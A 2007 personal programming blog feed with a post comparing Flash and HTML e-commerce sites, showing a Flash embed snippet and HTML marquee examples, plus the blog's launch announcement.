<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="778" height="653">
<param name="movie" value="path_to_the_swf_file(your flash content)" />
<param name="quality" value="high" />
<embed src="path_to_the_swf_file(your flash content)" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="778" height="653"></embed>
</object>

      There is a certain matter that i would like to tell you about. I have been facing a dilema when trying to create an e-commerce website. Most of the e-commerce websited out there are still made using a combination of html, php running on an apache server and connected to a mysql database. This is the most common way to create a e-commerce website and there is plenty of informations on the internet on how to create one. I will not cover this on this post. If you are wondering how can you have a full flash e-commerce website, well, things are starting to get a little more complicated. You would still have to use a database connection with the website and you will still have to run it on a server. If you guys look on the www.adobe.com website you will find most of the informations you need on how to create such a website. The answer is Macromedia Coldfusion which is great to have your flash website connected to a mysql database. Take in consideration, that i am talking exclusively about developing a website on html or flash language. There are other programs you can use that rely on different methods to create a website, but i come back on this subject on a future post. If you take a look at www.ebay.com in camparison to a site like www.niketown.com, you will see an obvious difference. While Ebay is dull and static like we are all used to see, Niketown comes with a great visual advantage. But that compensates on the loading time of the website. Html will ALWAYS load faster on any user's machine. Flash will take more time to load, but it will have more class only because the dynamic contents.

      Here are 2 trick to have something that "moves" on your website without using flash at all
-

1.HTML Code For Scrolling Marquee

The HTML for scrolling text uses the marquee Tag as in the examples below.

Source
<marquee bgcolor="" width="100%" direction="left" loop="infinite" scrollamount="1">Scrolling Text</marquee>
Output
Scrolling Text
Source
<marquee bgcolor="#eeeeee" width="100%" direction="right" loop="infinite" scrollamount="2"><strong><font color="red">More Scrolling Text</font></strong></marquee>
Output
More Scrolling Text
Source
<marquee bgcolor="" width="100%" direction="left" loop="infinite" scrollamount="1">Scrolling <a href="8.shtml">Hyperlink</a></marquee>
Output
Scrolling Hyperlink

2.Gifs insertion

- using gifs (animated pictures) here is a link that will help you on this: http://www.3dtextmaker.com/image_editor.html. Feel free to check out the link. You should be able to include your gifs on many hosts.

Arinn project is launched!!!

noreply@blogger.com (Costin) — Sat, 07 Jul 2007 10:01:00 +0000

       Hello everyone. Arinn's blog was born from my desire to share with the whole community out there as many informations as possible about different techniques, solutions, tips and tricks in solving all sort of issues a programmer can encounter with a number of softwares he will work with. I am sure most of you had some difficulties trying to learn a specific software, or trying to solve a task that has either being given to you at work or school or just because you felt the need to learn out of passion.
       I have been working and studying programming for 11 years now and in all these years i have faced many issues in different softwares, which mostly i had to solve on my own. If what i will post will be usefull to you, then my goal is achieved. This blog will include all sort of tutorials and i will make sure to include as many pictures or videos as possible for you to be able to easily understand. In order to help you guys as much as i can , i will consider your requests which you will have to send them by email.
       My area of expertise has grown intensly the last years, so there will be definately a lot to talk about on this blog, so just make sure to check this site as often as possible, for i will constantly update its content. I am a big fan of 3d designing and programming, so if you share my passion you will have a lot to learn from this blog, as long with being up to date with the my personal reviews on the
latest movies that rely on 3d animations. I will include a separate part just for sharing with you guys my opinion on a different number of movies i watched or i will have to watch since this is my second biggest passion.

Having that said, i now declare Arinn's project open !!!